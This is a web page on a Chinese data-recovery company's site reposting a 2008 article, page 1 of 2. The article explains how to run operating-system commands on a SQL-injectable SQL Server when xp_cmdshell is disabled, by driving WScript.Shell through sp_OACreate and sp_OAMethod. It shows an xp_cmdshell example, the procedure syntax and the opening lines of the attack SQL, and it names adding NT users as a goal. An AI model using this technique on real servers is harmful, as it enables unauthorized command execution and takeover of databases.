热门关键字

数据恢复  硬盘数据恢复 服务器数据恢复
数据库修复 RAID数据恢复 笔记本数据恢复

                   您当前的位置:首页>>技术中心>>数据安全>>正文
  

服务器数据恢复

导航
 经典案例

服务器数据恢复成功-Linux
浪潮服务器-SQL数据库恢复
RAID0数据恢复成功
IBM AIX数据恢复成功-RM J
2850 DELL服务器数据恢复成
北京格尔国信科技公司- X3
服务器数据恢复成功-RAID卡
RAID突然掉线,RAID0数据恢
首都在线-EXT3误删除数据恢
北京市第二医院-RAID崩溃导
服务器系统升级导致文件丢
RAID信息丢失- IBM服务器数
more...

 

不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令


作者:  来源:  添加日期:2008-5-19 11:18:56 

我的BLOG里有一篇文章介绍了关于SQL注入的基本原理和一些方法。最让人感兴趣的也许就是前面介绍的利用扩展存储过程xp_cmdshell来运行操作系统的控制台命令。这种方法也非常的简单,只需使用下面的SQL语句:

EXEC master.dbo.xp_cmdshell 'dir c:\'

但是越来越多的数据库管理员已经意识到这个扩展存储过程的潜在危险,他们可能会将该存储过程的动态链接库xplog70.dll文件删除或改了名,这时侯许多人也许会放弃,因为我们无法运行任何的cmd命令,很难查看对方计算机的文件、目录、开启的服务,也无法添加NT用户。

对此作过一番研究,后来我发现即使xp_cmdshell不可用了,还是有可能在服务器上运行CMD并得到回显结果的,这里要用到SQL服务器另外的几个系统存储过程:sp_OACreate,sp_OAGetProperty和sp_OAMethod。前提是服务器上的Ws cript.shell和s cripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 实例上创建 OLE 对象实例。
语法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
获取 OLE 对象的属性值。
语法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
调用 OLE 对象的方法。
语法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]


思路:
先在SQL Server 上建立一个Ws cript.Shell,调用其run Method,将cmd.exe执行的结果输出到一个文件中,然后再建立一个s cripting.FileSystemObject,通过它建立一个TextStream对象,读出临时文件中的字符,一行一行的添加到一个临时表中。

以下是相应的SQL语句


CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)

本新闻共2页,当前在第1页  1  2  

硬盘数据恢复 | 数据修复 | 数据库修复 | Raid数据恢复 | 服务器数据恢复 | 笔记本数据恢复 | 文档恢复 | 网站地图 | 友情链接 | Rss聚合
Copyright @2005 - 2006 版权所有 北京北亚数据恢复中心
全国统一免费电话:4006-505-808 或 800-810-5880
中关村部:北京市海淀区中关村大街11号E世界A座8层832B室
皂君庙部:北京市海淀区学院南路68号吉安大厦C座(汇智楼)528室

京ICP备06061792号